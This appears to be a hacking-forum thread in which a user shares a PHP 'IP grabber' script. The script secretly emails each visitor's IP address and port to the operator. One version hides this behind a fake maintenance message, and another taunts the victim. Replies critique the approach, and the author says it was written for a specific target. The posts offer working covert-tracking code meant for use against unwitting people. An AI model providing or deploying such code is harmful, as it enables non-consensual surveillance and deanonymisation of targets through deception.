Login Register


My IP Grabber Thingy ;3 filter_list
Author
Message
My IP Grabber Thingy ;3 #1
Here is a little IP grabber I wrote up. Keep in mind this is my first code in PHP:
PHP Code:
<?php $IP = $_SERVER['REMOTE_ADDR']; $Port = $_SERVER['REMOTE_PORT']; $Time = 'at ' . Date("g:ia") . ',' . ' on ' . Date("m/d/Y"); If(@mail('YOUR EMAIL HERE', 'IP Received ' . $Time,'IP: ' . $IP . "\n" . 'Received through port: ' . $Port . "\n\n" . 'Info sent ' . $Time)){ Echo "Site is Down for Maintenance. Please Check Back Soon!"; } Else{ Die('An unexpected error has occurred with the script.'); } ?>
For those who want to be a big troll and tell everybody you have there IP:
PHP Code:
<?php $IP = $_SERVER['REMOTE_ADDR']; $Port = $_SERVER['REMOTE_PORT']; $Time = 'at ' . Date("g:ia") . ',' . ' on ' . Date("m/d/Y"); If(@mail('YOUR EMAIL HERE', 'IP Received ' . $Time,'IP: ' . $IP . "\n" . 'Received through port: ' . $Port . "\n\n" . 'Info sent ' . $Time)){ Echo "Thank you for your IP!"; } Else{ Die('An unexpected error has occurred with the script.'); } ?> <html> <a title='IP'><img alt='IP' src='http://www.clientip.net/sign/sign.png.php?i=1&c=red' /></a> </html>

Thanks!:epic:

Reply

RE: My IP Grabber Thingy ;3 #2
For starters, please use code tags in the future.

Secondly... simply writing "You've been hacked" is kinda stupid. You might fool a user or two but it makes no real difference as they have not been compromised...

Its also likely to generate a lot of emails for no good reason... I find it counterproductive for someone to attack a random website visitor. Unless youre good its definitely harder to hack the average user than it is to target a server. And if you are targeting specific user it would be stupid to advise them they are being targeted with such a message...

Reply

RE: My IP Grabber Thingy ;3 #3
(10-19-2013, 02:21 AM)Geoff Wrote: For starters, please use code tags in the future.

Secondly... simply writing "You've been hacked" is kinda stupid. You might fool a user or two but it makes no real difference as they have not been compromised...

Its also likely to generate a lot of emails for no good reason... I find it counterproductive for someone to attack a random website visitor. Unless youre good its definitely harder to hack the average user than it is to target a server. And if you are targeting specific user it would be stupid to advise them they are being targeted with such a message...
As I said: "I'm new to this." People can just change the words anyways. Also, when I made this, it was to be used on a specific target. I just released the code for credit on my account. I am constantly learning, and improving. Thank you for the advice.

Reply

RE: My IP Grabber Thingy ;3 #4
I fixed the issue Geoff pointed out, and I hope you all find the code more useful.

Reply







Users browsing this thread: